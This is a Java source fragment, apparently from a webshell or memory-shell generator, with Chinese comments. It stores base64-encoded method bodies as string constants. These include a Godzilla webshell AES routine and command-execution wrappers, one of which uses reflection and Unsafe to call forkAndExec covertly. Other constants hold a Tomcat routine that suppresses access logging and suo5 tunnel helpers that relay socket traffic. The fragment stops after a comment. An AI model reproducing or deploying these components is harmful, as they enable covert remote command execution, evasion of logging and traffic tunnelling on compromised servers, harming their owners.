public static String BASE64_ENCODE_BYTE_TO_STRING = "cHVibGljIHN0YXRpYyBTdHJpbmcgYmFzZTY0RW5jb2RlKGJ5dGVbXSBicykgdGhyb3dzIEV4Y2VwdGlvbiB7CgkJQ2xhc3MgIGJhc2U2NDsKCQlTdHJpbmcgdmFsdWUgPSBudWxsOwoJCXRyeSB7CgkJCWJhc2U2NCA9IENsYXNzLmZvck5hbWUoImphdmEudXRpbC5CYXNlNjQiKTsKCQkJT2JqZWN0IEVuY29kZXIgPSBiYXNlNjQuZ2V0TWV0aG9kKCJnZXRFbmNvZGVyIiwgbnVsbCkuaW52b2tlKGJhc2U2NCwgbnVsbCk7CgkJCXZhbHVlID0gKFN0cmluZykgRW5jb2Rlci5nZXRDbGFzcygpLmdldE1ldGhvZCgiZW5jb2RlVG9TdHJpbmciLCBuZXcgQ2xhc3NbXXtieXRlW10uY2xhc3N9KS5pbnZva2UoRW5jb2RlciwgbmV3IE9iamVjdFtde2JzfSk7CgkJfSBjYXRjaCAoRXhjZXB0aW9uIGUpIHsKCQkJdHJ5IHsKCQkJCWJhc2U2NCA9IENsYXNzLmZvck5hbWUoInN1bi5taXNjLkJBU0U2NEVuY29kZXIiKTsKCQkJCU9iamVjdCBFbmNvZGVyID0gYmFzZTY0Lm5ld0luc3RhbmNlKCk7CgkJCQl2YWx1ZSA9IChTdHJpbmcpIEVuY29kZXIuZ2V0Q2xhc3MoKS5nZXRNZXRob2QoImVuY29kZSIsIG5ldyBDbGFzc1tde2J5dGVbXS5jbGFzc30pLmludm9rZShFbmNvZGVyLCBuZXcgT2JqZWN0W117YnN9KTsKCQkJfSBjYXRjaCAoRXhjZXB0aW9uIGlnbm9yZWQpIHsKCQkJfQoJCX0KCQlyZXR1cm4gdmFsdWU7Cgl9";
// MD5
public static String MD5 = "CXB1YmxpYyBzdGF0aWMgU3RyaW5nIG1kNShTdHJpbmcgcykgewoJCVN0cmluZyByZXQgPSBudWxsOwoJCXRyeSB7CgkJCWphdmEuc2VjdXJpdHkuTWVzc2FnZURpZ2VzdCBtOwoJCQltID0gamF2YS5zZWN1cml0eS5NZXNzYWdlRGlnZXN0LmdldEluc3RhbmNlKCJNRDUiKTsKCQkJbS51cGRhdGUocy5nZXRCeXRlcygpLCAwLCBzLmxlbmd0aCgpKTsKCQkJcmV0ID0gbmV3IGphdmEubWF0aC5CaWdJbnRlZ2VyKDEsIG0uZGlnZXN0KCkpLnRvU3RyaW5nKDE2KS50b1VwcGVyQ2FzZSgpOwoJCX0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7CgkJfQoJCXJldHVybiByZXQ7Cgl9";
// 哥斯拉 AES 方法 x(需要 Field xc
public static String AES_FOR_GODZILLA = "CXB1YmxpYyBieXRlW10geChieXRlW10gcywgYm9vbGVhbiBtKSB7CgkJdHJ5IHsKCQkJamF2YXguY3J5cHRvLkNpcGhlciBjID0gamF2YXguY3J5cHRvLkNpcGhlci5nZXRJbnN0YW5jZSgiQUVTIik7CgkJCWMuaW5pdChtID8gMSA6IDIsIG5ldyBqYXZheC5jcnlwdG8uc3BlYy5TZWNyZXRLZXlTcGVjKHhjLmdldEJ5dGVzKCksICJBRVMiKSk7CgkJCXJldHVybiBjLmRvRmluYWwocyk7CgkJfSBjYXRjaCAoRXhjZXB0aW9uIGUpIHsKCQkJcmV0dXJuIG51bGw7CgkJfQoJfQ==";
// 命令执行封装方法,使用反射调用 forkandexec, 需要 toCString getMethodByClass getMethodAndInvoke getFieldValue getUnsafe
public static String EXEC_CMD_OBSCURE = "cHVibGljIHN0YXRpYyBqYXZhLmlvLkJ5dGVBcnJheU91dHB1dFN0cmVhbSBleGVjQ21kKFN0cmluZyBjbWQpIHsKCQl0cnkgewoJCQlpZiAoY21kICE9IG51bGwgJiYgIWNtZC5pc0VtcHR5KCkpIHsKCQkJCVN0cmluZ1tdICAgICAgICAgICAgICAgICAgICAgIGNtZHMgICAgICAgICAgPSBudWxsOwoJCQkJQ2xhc3MgICAgICAgICAgICAgICAgICAgICAgICAgcHJvY2Vzc0NsYXNzICA9IG51bGw7CgkJCQlPYmplY3QgICAgICAgICAgICAgICAgICAgICAgICBwcm9jZXNzT2JqZWN0ID0gbnVsbDsKCQkJCXN1bi5taXNjLlVuc2FmZSAgICAgICAgICAgICAgIHVuc2FmZSAgICAgICAgPSBnZXRVbnNhZmUoKTsKCQkJCWphdmEuaW8uQnl0ZUFycmF5T3V0cHV0U3RyZWFtIGJhb3MgICAgICAgICAgPSBuZXcgamF2YS5pby5CeXRlQXJyYXlPdXRwdXRTdHJlYW0oKTsKCQkJCWlmIChTeXN0ZW0uZ2V0UHJvcGVydHkoIm9zLm5hbWUiKS50b0xvd2VyQ2FzZSgpLmNvbnRhaW5zKCJ3aW4iKSkgewoJCQkJCWNtZHMgPSBuZXcgU3RyaW5nW117ImNtZCIsICIvYyIsIGNtZH07CgkJCQkJcHJvY2Vzc0NsYXNzID0gQ2xhc3MuZm9yTmFtZSgiamF2YS5sYW5nLlByb2Nlc3NJbXBsIik7CgkJCQkJcHJvY2Vzc09iamVjdCA9IHVuc2FmZS5hbGxvY2F0ZUluc3RhbmNlKHByb2Nlc3NDbGFzcyk7CgkJCQkJbG9uZ1tdICAgICAgICBzdGRIYW5kbGVzID0gbmV3IGxvbmdbXXstMUwsIC0xTCwgLTFMfTsKCQkJCQlTdHJpbmdCdWlsZGVyIHNiICAgICAgICAgPSBuZXcgU3RyaW5nQnVpbGRlcigpOwoJCQkJCWZvciAoaW50IGkgPSAwOyBpIDwgY21kcy5sZW5ndGg7IGkrKykgewoJCQkJCQlzYi5hcHBlbmQoY21kc1tpXSkuYXBwZW5kKCIgIik7CgkJCQkJfQoJCQkJCU9iamVjdCAgICAgICAgICAgICAgICAgICAgaGFuZGxlID0gIGdldE1ldGhvZEFuZEludm9rZShwcm9jZXNzT2JqZWN0LCAiY3JlYXRlIiwgbmV3IENsYXNzW117U3RyaW5nLmNsYXNzLCBTdHJpbmcuY2xhc3MsIFN0cmluZy5jbGFzcywgbG9uZ1tdLmNsYXNzLCBib29sZWFuLmNsYXNzfSwgbmV3IE9iamVjdFtde3NiLnRvU3RyaW5nKCkudHJpbSgpLCBudWxsLCBudWxsLCBzdGRIYW5kbGVzLCBqYXZhLmxhbmcuQm9vbGVhbi5GQUxTRX0pOwoJCQkJCWphdmEubGFuZy5yZWZsZWN0LkZpZWxkIGZpZWxkICA9IHByb2Nlc3NDbGFzcy5nZXREZWNsYXJlZEZpZWxkKCJoYW5kbGUiKTsKCQkJCQlmaWVsZC5zZXRBY2Nlc3NpYmxlKHRydWUpOwoJCQkJCWZpZWxkLnNldChwcm9jZXNzT2JqZWN0LCBoYW5kbGUpOwoJCQkJCWphdmEuaW8uRmlsZURlc2NyaXB0b3Igc3Rkb3V0X2ZkID0gbmV3IGphdmEuaW8uRmlsZURlc2NyaXB0b3IoKTsKCQkJCQlnZXRNZXRob2RBbmRJbnZva2UoZ2V0RmllbGRWYWx1ZShwcm9jZXNzT2JqZWN0LCAiZmRBY2Nlc3MiKSwgInNldEhhbmRsZSIsIG5ldyBDbGFzc1tde2phdmEuaW8uRmlsZURlc2NyaXB0b3IuY2xhc3MsIE9iamVjdC5jbGFzc30sIG5ldyBPYmplY3RbXXtzdGRvdXRfZmQsIExvbmcudmFsdWVPZihzdGRIYW5kbGVzWzFdKX0pOwoJCQkJCWphdmEubGFuZy5yZWZsZWN0LkZpZWxkIGZpZWxkMiA9IHByb2Nlc3NDbGFzcy5nZXREZWNsYXJlZEZpZWxkKCJzdGRvdXRfc3RyZWFtIik7CgkJCQkJZmllbGQyLnNldEFjY2Vzc2libGUodHJ1ZSk7CgkJCQkJZmllbGQyLnNldChwcm9jZXNzT2JqZWN0LCBuZXcgamF2YS5pby5CdWZmZXJlZElucHV0U3RyZWFtKG5ldyBqYXZhLmlvLkZpbGVJbnB1dFN0cmVhbShzdGRvdXRfZmQpKSk7CgkJCQl9IGVsc2UgewoJCQkJCWNtZHMgPSBuZXcgU3RyaW5nW117Ii9iaW4vYmFzaCIsICItYyIsIGNtZH07CgkJCQkJcHJvY2Vzc0NsYXNzID0gQ2xhc3MuZm9yTmFtZSgiamF2YS5sYW5nLlVOSVhQcm9jZXNzIik7CgkJCQkJcHJvY2Vzc09iamVjdCA9IHVuc2FmZS5hbGxvY2F0ZUluc3RhbmNlKHByb2Nlc3NDbGFzcyk7CgkJCQkJYnl0ZVtdW10gYXJncyA9IG5ldyBieXRlW2NtZHMubGVuZ3RoIC0gMV1bXTsKCQkJCQlpbnQgICAgICBzaXplID0gYXJncy5sZW5ndGg7CgkJCQkJZm9yIChpbnQgaSA9IDA7IGkgPCBhcmdzLmxlbmd0aDsgaSsrKSB7CgkJCQkJCWFyZ3NbaV0gPSBjbWRzW2kgKyAxXS5nZXRCeXRlcygpOwoJCQkJCQlzaXplICs9IGFyZ3NbaV0ubGVuZ3RoOwoJCQkJCX0KCQkJCQlieXRlW10gYXJnQmxvY2sgPSBuZXcgYnl0ZVtzaXplXTsKCQkJCQlpbnQgICAgaSAgICAgICAgPSAwOwoJCQkJCWZvciAoaW50IGkxID0gMDsgaTEgPCBhcmdzLmxlbmd0aDsgaTErKykgewoJCQkJCQlTeXN0ZW0uYXJyYXljb3B5KGFyZ3NbaTFdLCAwLCBhcmdCbG9jaywgaSwgYXJnc1tpMV0ubGVuZ3RoKTsKCQkJCQkJaSArPSBhcmdzW2kxXS5sZW5ndGggKyAxOwoJCQkJCX0KCQkJCQlpbnRbXSAgc3RkX2ZkcyAgICAgICAgICAgICAgID0gbmV3IGludFtdey0xLCAtMSwgLTF9OwoJCQkJCU9iamVjdCBsYXVuY2hNZWNoYW5pc21PYmplY3QgPSBnZXRGaWVsZFZhbHVlKHByb2Nlc3NPYmplY3QsICJsYXVuY2hNZWNoYW5pc20iKTsKCQkJCQlieXRlW10gaGVscGVycGF0aE9iamVjdCAgICAgID0gKGJ5dGVbXSkgZ2V0RmllbGRWYWx1ZShwcm9jZXNzT2JqZWN0LCAiaGVscGVycGF0aCIpOwoJCQkJCWludCAgICBvcmRpbmFsICAgICAgICAgICAgICAgPSBqYXZhLmxhbmcuSW50ZWdlci5wYXJzZUludChnZXRNZXRob2RBbmRJbnZva2UobGF1bmNoTWVjaGFuaXNtT2JqZWN0LCAib3JkaW5hbCIsIG51bGwsIG51bGwpLnRvU3RyaW5nKCkpOwoJCQkJCWdldE1ldGhvZEFuZEludm9rZShwcm9jZXNzT2JqZWN0LCAiZm9ya0FuZEV4ZWMiLCBuZXcgQ2xhc3NbXXtpbnQuY2xhc3MsIGJ5dGVbXS5jbGFzcywgYnl0ZVtdLmNsYXNzLCBieXRlW10uY2xhc3MsIGludC5jbGFzcywgYnl0ZVtdLmNsYXNzLCBpbnQuY2xhc3MsIGJ5dGVbXS5jbGFzcywgaW50W10uY2xhc3MsIGJvb2xlYW4uY2xhc3N9LCBuZXcgT2JqZWN0W117SW50ZWdlci52YWx1ZU9mKG9yZGluYWwgKyAxKSwgaGVscGVycGF0aE9iamVjdCwgdG9DU3RyaW5nKGNtZHNbMF0pLCBhcmdCbG9jaywgSW50ZWdlci52YWx1ZU9mKGFyZ3MubGVuZ3RoKSwgbnVsbCwgSW50ZWdlci52YWx1ZU9mKDEpLCBudWxsLCBzdGRfZmRzLCBqYXZhLmxhbmcuQm9vbGVhbi5GQUxTRX0pOwoJCQkJCWdldE1ldGhvZEFuZEludm9rZShwcm9jZXNzT2JqZWN0LCAiaW5pdFN0cmVhbXMiLCBuZXcgQ2xhc3NbXXtpbnRbXS5jbGFzc30sIG5ldyBPYmplY3RbXXtzdGRfZmRzfSk7CgkJCQl9CgkJCQlqYXZhLmlvLklucHV0U3RyZWFtIGluID0gKGphdmEuaW8uSW5wdXRTdHJlYW0pIGdldE1ldGhvZEFuZEludm9rZShwcm9jZXNzT2JqZWN0LCAiZ2V0SW5wdXRTdHJlYW0iLCBudWxsLCBudWxsKTsKCQkJCWludCAgICAgICAgICAgICAgICAgYSAgPSAwOwoJCQkJYnl0ZVtdICAgICAgICAgICAgICBiICA9IG5ldyBieXRlWzEwMjRdOwoJCQkJd2hpbGUgKChhID0gaW4ucmVhZChiKSkgIT0gLTEpIHsKCQkJCQliYW9zLndyaXRlKGIsIDAsIGEpOwoJCQkJfQoJCQkJcmV0dXJuIGJhb3M7CgkJCX0KCQl9IGNhdGNoIChFeGNlcHRpb24gaWdub3JlZCkgewoJCX0KCQlyZXR1cm4gbnVsbDsKCX0=";
// 命令执行封装方法,简单使用 Runtime.getRuntime().exec()
public static String EXEC_CMD = "cHVibGljIHN0YXRpYyBqYXZhLmlvLkJ5dGVBcnJheU91dHB1dFN0cmVhbSBleGVjQ21kKFN0cmluZyBjbWQpIHsKCQl0cnkgewoJCQlpZiAoY21kICE9IG51bGwgJiYgIWNtZC5pc0VtcHR5KCkpIHsKCQkJCVN0cmluZ1tdIGNtZHMgPSBudWxsOwoJCQkJaWYgKFN5c3RlbS5nZXRQcm9wZXJ0eSgib3MubmFtZSIpLnRvTG93ZXJDYXNlKCkuY29udGFpbnMoIndpbiIpKSB7CgkJCQkJY21kcyA9IG5ldyBTdHJpbmdbXXsiY21kIiwgIi9jIiwgY21kfTsKCQkJCX0gZWxzZSB7CgkJCQkJY21kcyA9IG5ldyBTdHJpbmdbXXsiL2Jpbi9iYXNoIiwgIi1jIiwgY21kfTsKCQkJCX0KCgkJCQlqYXZhLmlvLklucHV0U3RyZWFtIGluID0gUnVudGltZS5nZXRSdW50aW1lKCkuZXhlYyhjbWRzKS5nZXRJbnB1dFN0cmVhbSgpOwoJCQkJamF2YS5pby5CeXRlQXJyYXlPdXRwdXRTdHJlYW0gYmFvcyA9IG5ldyBqYXZhLmlvLkJ5dGVBcnJheU91dHB1dFN0cmVhbSgpOwoJCQkJaW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgYSAgICA9IDA7CgkJCQlieXRlW10gICAgICAgICAgICAgICAgICAgICAgICBiICAgID0gbmV3IGJ5dGVbMTAyNF07CgoJCQkJd2hpbGUgKChhID0gaW4ucmVhZChiKSkgIT0gLTEpIHsKCQkJCQliYW9zLndyaXRlKGIsIDAsIGEpOwoJCQkJfQoKCQkJCXJldHVybiBiYW9zOwoJCQl9CgkJfSBjYXRjaCAoRXhjZXB0aW9uIGlnbm9yZWQpIHsKCQl9CgoJCXJldHVybiBudWxsOwoJfQ==";
// Tomcat NO LOG 方法,需要 getFieldValue getMethodByClass getMethodAndInvoke
public static String TOMCAT_NO_LOG = "cHVibGljIHZvaWQgbm9Mb2coT2JqZWN0IHJlcU9iaikgewoJCXRyeSB7CgkJCU9iamVjdCAgICAgICAgICAgICAgICAgICAgICBhcHBsaWNhdGlvbkNvbnRleHQgPSBnZXRGaWVsZFZhbHVlKGdldE1ldGhvZEFuZEludm9rZShyZXFPYmosICJnZXRTZXJ2bGV0Q29udGV4dCIsIG51bGwsIG51bGwpLCAiY29udGV4dCIpOwoJCQlPYmplY3QgICAgICAgICAgICAgICAgICAgICAgY29udGFpbmVyICAgICAgICAgID0gZ2V0RmllbGRWYWx1ZShhcHBsaWNhdGlvbkNvbnRleHQsICJjb250ZXh0Iik7CgkJCWphdmEudXRpbC5BcnJheUxpc3QgYXJyYXlMaXN0ICAgICAgICAgID0gbmV3IGphdmEudXRpbC5BcnJheUxpc3QoKTsKCQkJd2hpbGUgKGNvbnRhaW5lciAhPSBudWxsKSB7CgkJCQlhcnJheUxpc3QuYWRkKGNvbnRhaW5lcik7CgkJCQljb250YWluZXIgPSBnZXRNZXRob2RBbmRJbnZva2UoY29udGFpbmVyLCAiZ2V0UGFyZW50IiwgbnVsbCwgbnVsbCk7CgkJCX0KCQkJZm9yIChpbnQgaSA9IDA7IGkgPCBhcnJheUxpc3Quc2l6ZSgpOyBpKyspIHsKCQkJCXRyeSB7CgkJCQkJT2JqZWN0IHBpcGVsaW5lID0gZ2V0TWV0aG9kQW5kSW52b2tlKGFycmF5TGlzdC5nZXQoaSksICJnZXRQaXBlbGluZSIsIG51bGwsIG51bGwpOwoJCQkJCWlmIChwaXBlbGluZSAhPSBudWxsKSB7CgkJCQkJCU9iamVjdCB2YWx2ZSA9IGdldE1ldGhvZEFuZEludm9rZShwaXBlbGluZSwgImdldEZpcnN0IiwgbnVsbCwgbnVsbCk7CgkJCQkJCXdoaWxlICh2YWx2ZSAhPSBudWxsKSB7CgkJCQkJCQlpZiAoZ2V0TWV0aG9kQnlDbGFzcyh2YWx2ZS5nZXRDbGFzcygpLCAiZ2V0Q29uZGl0aW9uIiwgbnVsbCkgIT0gbnVsbCAmJiBnZXRNZXRob2RCeUNsYXNzKHZhbHZlLmdldENsYXNzKCksICJzZXRDb25kaXRpb24iLCBuZXcgQ2xhc3NbXXtTdHJpbmcuY2xhc3N9KSAhPSBudWxsKSB7CgkJCQkJCQkJU3RyaW5nIGNvbmRpdGlvbiA9IChTdHJpbmcpIGdldE1ldGhvZEFuZEludm9rZSh2YWx2ZSwgImdldENvbmRpdGlvbiIsIG51bGwsIG51bGwpOwoJCQkJCQkJCWNvbmRpdGlvbiA9IChjb25kaXRpb24gPT0gbnVsbCkgPyAiV2hhdGV2ZXIiIDogY29uZGl0aW9uOwoJCQkJCQkJCWdldE1ldGhvZEFuZEludm9rZSh2YWx2ZSwgInNldENvbmRpdGlvbiIsIG5ldyBDbGFzc1tde1N0cmluZy5jbGFzc30sIG5ldyBPYmplY3RbXXtjb25kaXRpb259KTsKCQkJCQkJCQlnZXRNZXRob2RBbmRJbnZva2UocmVxT2JqLCAic2V0QXR0cmlidXRlIiwgbmV3IENsYXNzW117U3RyaW5nLmNsYXNzLCBPYmplY3QuY2xhc3N9LCBuZXcgT2JqZWN0W117Y29uZGl0aW9uLCBjb25kaXRpb259KTsKCQkJCQkJCQl2YWx2ZSA9IGdldE1ldGhvZEFuZEludm9rZSh2YWx2ZSwgImdldE5leHQiLCBudWxsLCBudWxsKTsKCQkJCQkJCQljb250aW51ZTsKCQkJCQkJCX0KCQkJCQkJCWlmIChDbGFzcy5mb3JOYW1lKCJvcmcuYXBhY2hlLmNhdGFsaW5hLlZhbHZlIiwgZmFsc2UsIGFwcGxpY2F0aW9uQ29udGV4dC5nZXRDbGFzcygpLmdldENsYXNzTG9hZGVyKCkpLmlzQXNzaWduYWJsZUZyb20odmFsdmUuZ2V0Q2xhc3MoKSkpIHsKCQkJCQkJCQl2YWx2ZSA9IGdldE1ldGhvZEFuZEludm9rZSh2YWx2ZSwgImdldE5leHQiLCBudWxsLCBudWxsKTsKCQkJCQkJCQljb250aW51ZTsKCQkJCQkJCX0KCQkJCQkJCXZhbHZlID0gbnVsbDsKCQkJCQkJfQoJCQkJCX0KCQkJCX0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7CgkJCQl9CgkJCX0KCQl9IGNhdGNoIChFeGNlcHRpb24gaWdub3JlZCkgewoJCX0KCX0=";
public static class SUO5 {
// suo5 newCreate 方法
public static String SUO5_NEW_CREATE = "CXByaXZhdGUgamF2YS51dGlsLkhhc2hNYXAgbmV3Q3JlYXRlKGJ5dGUgcykgewoJCWphdmEudXRpbC5IYXNoTWFwIG0gPSBuZXcgamF2YS51dGlsLkhhc2hNYXAoKTsKCQltLnB1dCgiYWMiLCBuZXcgYnl0ZVtdezB4MDR9KTsKCQltLnB1dCgicyIsIG5ldyBieXRlW117c30pOwoJCXJldHVybiBtOwoJfQ==";
// suo5 newData 方法
public static String SUO5_NEW_DATA = "CXByaXZhdGUgamF2YS51dGlsLkhhc2hNYXAgbmV3RGF0YShieXRlW10gZGF0YSkgewoJCWphdmEudXRpbC5IYXNoTWFwIG0gPSBuZXcgamF2YS51dGlsLkhhc2hNYXAoKTsKCQltLnB1dCgiYWMiLCBuZXcgYnl0ZVtdezB4MDF9KTsKCQltLnB1dCgiZHQiLCBkYXRhKTsKCQlyZXR1cm4gbTsKCX0=";
// suo5 newDel 方法
public static String SUO5_NEW_DEL = "CXByaXZhdGUgamF2YS51dGlsLkhhc2hNYXAgbmV3RGVsKCkgewoJCWphdmEudXRpbC5IYXNoTWFwIG0gPSBuZXcgamF2YS51dGlsLkhhc2hNYXAoKTsKCQltLnB1dCgiYWMiLCBuZXcgYnl0ZVtdezB4MDJ9KTsKCQlyZXR1cm4gbTsKCX0=";
// suo5 setStream 方法,需要 Field gInStreamgOutStream
public static String SUO5_SET_STREAM = "cHJpdmF0ZSB2b2lkIHNldFN0cmVhbShqYXZhLmlvLklucHV0U3RyZWFtIGluLCBqYXZhLmlvLk91dHB1dFN0cmVhbSBvdXQpIHsKCQlnSW5TdHJlYW0gPSBpbjsKCQlnT3V0U3RyZWFtID0gb3V0OwoJfQ==";
// suo5 newStatus 方法
public static String SUO5_NEW_STATUS = "CXByaXZhdGUgamF2YS51dGlsLkhhc2hNYXAgbmV3U3RhdHVzKGJ5dGUgYikgewoJCWphdmEudXRpbC5IYXNoTWFwIG0gPSBuZXcgamF2YS51dGlsLkhhc2hNYXAoKTsKCQltLnB1dCgicyIsIG5ldyBieXRlW117Yn0pOwoJCXJldHVybiBtOwoJfQo=";
// suo5 u32toBytes 方法
public static String SUO5_U32_TO_BYTES = "Ynl0ZVtdIHUzMnRvQnl0ZXMoaW50IGkpIHsKCQlieXRlW10gcmVzdWx0ID0gbmV3IGJ5dGVbNF07CgkJcmVzdWx0WzBdID0gKGJ5dGUpIChpID4+IDI0KTsKCQlyZXN1bHRbMV0gPSAoYnl0ZSkgKGkgPj4gMTYpOwoJCXJlc3VsdFsyXSA9IChieXRlKSAoaSA+PiA4KTsKCQlyZXN1bHRbM10gPSAoYnl0ZSkgKGkgLyo+PiAwKi8pOwoJCXJldHVybiByZXN1bHQ7Cgl9";
// suo5 bytesToU32 方法
public static String SUO5_BYTES_TO_U32 = "aW50IGJ5dGVzVG9VMzIoYnl0ZVtdIGJ5dGVzKSB7CgkJcmV0dXJuICgoYnl0ZXNbMF0gJiAweEZGKSA8PCAyNCkgfAoJCQkJKChieXRlc1sxXSAmIDB4RkYpIDw8IDE2KSB8CgkJCQkoKGJ5dGVzWzJdICYgMHhGRikgPDwgOCkgfAoJCQkJKChieXRlc1szXSAmIDB4RkYpKTsKCX0=";
// suo5 marshal 方法,需要 u32toBytes
public static String SUO5_MARSHAL = "cHJpdmF0ZSBieXRlW10gbWFyc2hhbChqYXZhLnV0aWwuSGFzaE1hcCBtKSB0aHJvd3MgamF2YS5pby5JT0V4Y2VwdGlvbiB7CgkJamF2YS5pby5CeXRlQXJyYXlPdXRwdXRTdHJlYW0gYnVmID0gbmV3IGphdmEuaW8uQnl0ZUFycmF5T3V0cHV0U3RyZWFtKCk7CgkJT2JqZWN0W10ga2V5U2V0ID0gbS5rZXlTZXQoKS50b0FycmF5KCk7CgkJCgkJZm9yIChpbnQgaSA9IDA7IGkgPCBrZXlTZXQubGVuZ3RoOyBpKyspIHsKCQkJU3RyaW5nIGtleSA9IGtleVNldFtpXS50b1N0cmluZygpOwoJCQlieXRlW10gdmFsdWUgPSAoYnl0ZVtdKW0uZ2V0KGtleSk7CgkJCWJ1Zi53cml0ZSgoYnl0ZSkga2V5Lmxlbmd0aCgpKTsKCQkJYnVmLndyaXRlKGtleS5nZXRCeXRlcygpKTsKCQkJYnVmLndyaXRlKHUzMnRvQnl0ZXMoKHZhbHVlKS5sZW5ndGgpKTsKCQkJYnVmLndyaXRlKHZhbHVlKTsKCQl9CgkJCgkJYnl0ZVtdICAgICAgICAgICAgICBkYXRhID0gYnVmLnRvQnl0ZUFycmF5KCk7CgkJamF2YS5uaW8uQnl0ZUJ1ZmZlciBkYnVmID0gamF2YS5uaW8uQnl0ZUJ1ZmZlci5hbGxvY2F0ZSg1ICsgZGF0YS5sZW5ndGgpOwoJCWRidWYucHV0SW50KGRhdGEubGVuZ3RoKTsKCQlieXRlIGtleSA9IGRhdGFbZGF0YS5sZW5ndGggLyAyXTsKCQlkYnVmLnB1dChrZXkpOwoJCWZvciAoaW50IGkgPSAwOyBpIDwgZGF0YS5sZW5ndGg7IGkrKykgewoJCX0KCQlkYnVmLnB1dChkYXRhKTsKCQlyZXR1cm4gZGJ1Zi5hcnJheSgpOwoJfQ==";
// suo5 unmarshal 方法,需要 bytesToU32
public static String SUO5_UNMARSHAL = "cHJpdmF0ZSBqYXZhLnV0aWwuSGFzaE1hcCB1bm1hcnNoYWwoamF2YS5pby5JbnB1dFN0cmVhbSBpbikgdGhyb3dzIGphdmEubGFuZy5FeGNlcHRpb24gewoJCWphdmEuaW8uRGF0YUlucHV0U3RyZWFtIHJlYWRlciA9IG5ldyBqYXZhLmlvLkRhdGFJbnB1dFN0cmVhbShpbik7CgkJYnl0ZVtdICAgICAgICAgICAgICAgICAgaGVhZGVyID0gbmV3IGJ5dGVbNCArIDFdOwoJCXJlYWRlci5yZWFkRnVsbHkoaGVhZGVyKTsKCQlqYXZhLm5pby5CeXRlQnVmZmVyIGJiICA9IGphdmEubmlvLkJ5dGVCdWZmZXIud3JhcChoZWFkZXIpOwoJCWludCAgICAgICAgICAgICAgICAgbGVuID0gYmIuZ2V0SW50KCk7CgkJaW50ICAgICAgICAgICAgICAgICB4ICAgPSBiYi5nZXQoKTsKCQlpZiAobGVuID4gMTAyNCAqIDEwMjQgKiAzMikgewoJCQl0aHJvdyBuZXcgamF2YS5pby5JT0V4Y2VwdGlvbigiaW52YWxpZCBsZW4iKTsKCQl9CgkJYnl0ZVtdIGJzID0gbmV3IGJ5dGVbbGVuXTsKCQlyZWFkZXIucmVhZEZ1bGx5KGJzKTsKCQlmb3IgKGludCBpID0gMDsgaSA8IGJzLmxlbmd0aDsgaSsrKSB7CgkJCWJzW2ldID0gKGJ5dGUpIChic1tpXSBeIHgpOwoJCX0KCQlqYXZhLnV0aWwuSGFzaE1hcCBtID0gbmV3IGphdmEudXRpbC5IYXNoTWFwKCk7CgkJYnl0ZVtdICAgICAgICAgICAgICAgICAgYnVmOwoJCWZvciAoaW50IGkgPSAwOyBpIDwgYnMubGVuZ3RoIC0gMTsgKSB7CgkJCXNob3J0IGtMZW4gPSBic1tpXTsKCQkJaSArPSAxOwoJCQlpZiAoaSArIGtMZW4gPj0gYnMubGVuZ3RoKSB7CgkJCQl0aHJvdyBuZXcgamF2YS5sYW5nLkV4Y2VwdGlvbigia2V5IGxlbiBlcnJvciIpOwoJCQl9CgkJCWlmIChrTGVuIDwgMCkgewoJCQkJdGhyb3cgbmV3IGphdmEubGFuZy5FeGNlcHRpb24oImtleSBsZW4gZXJyb3IiKTsKCQkJfQoJCQlidWYgPSBqYXZhLnV0aWwuQXJyYXlzLmNvcHlPZlJhbmdlKGJzLCBpLCBpICsga0xlbik7CgkJCVN0cmluZyBrZXkgPSBuZXcgU3RyaW5nKGJ1Zik7CgkJCWkgKz0ga0xlbjsKCgkJCWlmIChpICsgNCA+PSBicy5sZW5ndGgpIHsKCQkJCXRocm93IG5ldyBqYXZhLmxhbmcuRXhjZXB0aW9uKCJ2YWx1ZSBsZW4gZXJyb3IiKTsKCQkJfQoJCQlidWYgPSBqYXZhLnV0aWwuQXJyYXlzLmNvcHlPZlJhbmdlKGJzLCBpLCBpICsgNCk7CgkJCWludCB2TGVuID0gYnl0ZXNUb1UzMihidWYpOwoJCQlpICs9IDQ7CgkJCWlmICh2TGVuIDwgMCkgewoJCQkJdGhyb3cgbmV3IGphdmEubGFuZy5FeGNlcHRpb24oInZhbHVlIGVycm9yIik7CgkJCX0KCgkJCWlmIChpICsgdkxlbiA+IGJzLmxlbmd0aCkgewoJCQkJdGhyb3cgbmV3IGphdmEubGFuZy5FeGNlcHRpb24oInZhbHVlIGVycm9yIik7CgkJCX0KCQkJYnl0ZVtdIHZhbHVlID0gamF2YS51dGlsLkFycmF5cy5jb3B5T2ZSYW5nZShicywgaSwgaSArIHZMZW4pOwoJCQlpICs9IHZMZW47CgoJCQltLnB1dChrZXksIHZhbHVlKTsKCQl9CgkJcmV0dXJuIG07Cgl9";
// suo5 readSocket 方法,需要 marshal newData
public static String SUO5_READ_SOCKET = "cHJpdmF0ZSB2b2lkIHJlYWRTb2NrZXQoamF2YS5pby5JbnB1dFN0cmVhbSBpbnB1dFN0cmVhbSwgamF2YS5pby5PdXRwdXRTdHJlYW0gb3V0cHV0U3RyZWFtKSB0aHJvd3MgamF2YS5pby5JT0V4Y2VwdGlvbiB7CgkJYnl0ZVtdIHJlYWRCdWYgPSBuZXcgYnl0ZVsxMDI0ICogOF07CgoJCXdoaWxlICh0cnVlKSB7CgkJCWludCBuID0gaW5wdXRTdHJlYW0ucmVhZChyZWFkQnVmKTsKCQkJaWYgKG4gPD0gMCkgewoJCQkJYnJlYWs7CgkJCX0KCQkJYnl0ZVtdIGRhdGFUbXAgICA9IGphdmEudXRpbC5BcnJheXMuY29weU9mUmFuZ2UocmVhZEJ1ZiwgMCwgbik7CgkJCWJ5dGVbXSBmaW5hbERhdGEgPSBtYXJzaGFsKG5ld0RhdGEoZGF0YVRtcCkpOwoJCQlvdXRwdXRTdHJlYW0ud3JpdGUoZmluYWxEYXRhKTsKCQkJb3V0cHV0U3RyZWFtLmZsdXNoKCk7CgkJfQoJfQ==";
// suo5 readInputStreamWithTimeout 方法
